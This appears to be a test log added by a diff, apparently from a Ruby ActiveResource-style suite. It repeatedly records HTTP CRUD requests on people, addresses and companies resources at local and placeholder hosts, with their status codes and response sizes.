+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
